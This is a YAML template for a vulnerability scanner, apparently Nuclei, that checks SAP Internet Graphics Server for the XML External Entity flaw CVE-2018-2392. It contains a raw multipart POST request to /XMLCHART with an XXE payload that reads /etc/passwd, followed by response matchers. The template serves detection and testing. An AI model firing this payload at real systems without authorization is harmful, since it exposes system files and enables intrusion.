90 lines
2.8 KiB
YAML
90 lines
2.8 KiB
YAML
id: CVE-2018-2392
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info:
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name: SAP Internet Graphics Server (IGS) XML External Entity
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author: _generic_human_
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severity: high
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description: |
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SAP Internet Graphics Servers (IGS) running versions 7.20, 7.20EXT, 7.45, 7.49, or 7.53 has two XXE vulnerabilities within the XMLCHART page - CVE-2018-2392 and CVE-2018-2393. These vulnerabilities occur due to a lack of appropriate validation on the Extension HTML tag when submitting a POST request to the XMLCHART page to generate a new chart.
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reference:
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- https://launchpad.support.sap.com/#/notes/2525222
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- https://blogs.sap.com/2018/02/13/sap-security-patch-day-february-2018/
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- https://www.rapid7.com/db/modules/auxiliary/admin/sap/sap_igs_xmlchart_xxe/
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- https://troopers.de/troopers18/agenda/3r38lr/
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- https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/sap/sap_igs_xmlchart_xxe.rb
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
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cvss-score: 7.5
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cve-id: CVE-2018-2392
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cwe-id: CWE-611
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tags: cve,cve2018,sap,igs,xxe,xmlchart
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requests:
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- raw:
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- |
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POST /XMLCHART HTTP/1.1
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Host: {{Hostname}}
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Content-Type: multipart/form-data; boundary={{randstr_1}}
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--{{randstr_1}}
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Content-Disposition: form-data; name="{{randstr_2}}"; filename="{{randstr_3}}.xml"
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Content-Type: application/xml
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<?xml version='1.0' encoding='UTF-8'?>
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<ChartData>
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<Categories>
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<Category>ALttP</Category>
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</Categories>
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<Series label="{{randstr_4}}">
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<Point>
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<Value type="y">12345</Value>
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</Point>
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</Series>
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</ChartData>
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--{{randstr_1}}
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Content-Disposition: form-data; name="{{randstr_5}}"; filename="{{randstr_6}}.xml"
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Content-Type: application/xml
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<?xml version='1.0' encoding='UTF-8'?>
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<!DOCTYPE Extension [<!ENTITY xxe SYSTEM "/etc/passwd">]>
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<SAPChartCustomizing version="1.1">
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<Elements>
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<ChartElements>
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<Title>
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<Extension>&xxe;</Extension>
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</Title>
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</ChartElements>
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</Elements>
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</SAPChartCustomizing>
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--{{randstr_1}}--
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# file name - /etc/passwd
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matchers-condition: and
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matchers:
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- type: word
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words:
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- "Picture"
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- "Info"
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- "/output/"
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part: body
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condition: and
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- type: word
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words:
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- "ImageMap"
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- "Errors"
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part: body
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condition: or
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- type: status
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status:
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- 200
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- type: word
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words:
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- "text/html"
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- "SAP Internet Graphics Server"
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part: header
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condition: and
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